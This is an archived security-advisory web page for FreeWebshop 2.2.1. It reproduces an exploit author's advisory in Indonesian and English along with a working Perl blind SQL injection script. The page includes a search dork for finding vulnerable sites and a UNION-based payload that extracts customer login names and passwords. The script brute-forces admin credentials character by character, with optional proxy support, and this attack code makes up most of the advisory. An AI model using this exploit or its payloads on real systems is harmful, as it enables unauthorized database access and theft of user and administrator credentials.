SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

FreeWebshop version 2.2.1 - Multiple Remote SQL Injection Vulnerabilities


Arrow  SecurityAlert : 3468
Arrow  CVE : |CVE-2009-2447
Arrow  CWE : CWE-79|CWE-352|CWE-59|CWE-79|CWE-264|CWE-264|CWE-264|CWE-264
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : Yes
Arrow  Exploit Available : Yes
Arrow  Credit : k1tk4t
Arrow  Published : 20.12.2007

Arrow  Affected Software : FreeWebshop version 2.2.1



Arrow  Advisory Content :  

#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# FreeWebshop version 2.2.1 - Multiple Remote SQL Injection
Vulnerabilities
# Waktu : Dec 16 2007 01:50AM
# Software : FreeWebshop version 2.2.1
# Vendor : http://www.freewebshop.org/
# Demo Site : http://www.freewebshop.org/demo/
# Ditemukan oleh : k1tk4t | http://newhack.org
# Lokasi : Indonesia
# Dork : "Powered by FreeWebshop.org 2.2.1"
#
#
# - variable "prod" pada "detail" tidak terfilter dengan baik sebelumnya
sehingga user dapat memanipulasi sql query melalui browser secara remote
# ;
# http://korban.site/index.php?page=details&prod=[SQLI]&cat=0&group=0
#
# - variable "cat" pada "list" tidak terfilter dengan baik sebelumnya
sehingga user dapat memanipulasi sql query melalui browser secara remote
# ;
#
http://korban.site/index.php?page=browse&action=list&group=0&cat=[SQLI]&ord
erby=DESCRIPTION
#
# - variable "group" pada berkas "index.php" tidak terfilter dengan baik
sebelumnya sehingga user dapat memanipulasi sql query melalui browser
secara remote
# ;
# http://korban.site/index.php?group=[Blind SQLI]&page=categories
#
# Contoh [SQLI] ;
#
http://korban.site/index.php?page=browse&action=list&group=0&cat=-1/**/UNIO
N/**/SELECT/**/null,concat(loginname,0x3a,password),null/**/from/**/custome
r/**/limit/**/0,1/*&orderby=DESCRIPTION
#
#
# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron, cyb3rh3b, K-159, the_hydra, y3dips
# nyubi,iFX,sin~X,kin9k0ng,bius,selikoer,aldy_BT
# Komunitas Security dan Hacker Indonesia
#
#
# ----------------------------[Blind
SQLI]------------------------------------
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
print "\n |-------------------------------------------------|";
print "\n | Indonesian Newhack Technology |";
print "\n |-------------------------------------------------|";
print "\n | FreeWebshop 2.2.1 (group) Blind SQL Injection |";
print "\n | Found by k1tk4t [k1tk4t(at)newhack.org] |";
print "\n | DNX Code [dnx(at)hackermail.com] | Modified |";
print "\n |-------------------------------------------------|";
print "\n[!] ";
print "\n[!] Kutu pada index.php dengan variable (group) yang dapat
dimanipulasi secara Blind SQLI";
print "\n[!] Penggunaan : perl freewebshop221.pl [Host] [Path] ";
print "\n[!] Contoh : perl freewebshop221.pl 127.0.0.1 /WebShop/ -c 2
-o 1";
print "\n[!] Options:";
print "\n -c [no] nilai sebenarnya dari group pada index.php,
default 1";
print "\n -o [no] 1 = admin name (default)";
print "\n 2 = admin password";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $cat = 1;
my $column = "loginname";
my %options = ();
GetOptions(\%options, "c=i", "o=i", "p=s");

print "[!] Exploiting...\n";

if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "password"; }

syswrite(STDOUT, "[!] Data : ", 12);

for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$found)
{
$h = 97;
while(!$found && $h <= 122)
{
if(istrue2($host, $path, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}

print "\n[!] Exploit done\n";

sub istrue2
{
my $host = shift;
my $path = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $url =
"http://".$host.$path."index.php?group=".$cat."%20AND%20SUBSTRING((SELECT%2
0".$column."%20FROM%20customer%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")&page=c
ategories";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $response = $ua->get($url);
my $content = $response->content;
my $regexp = "cat.gif";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.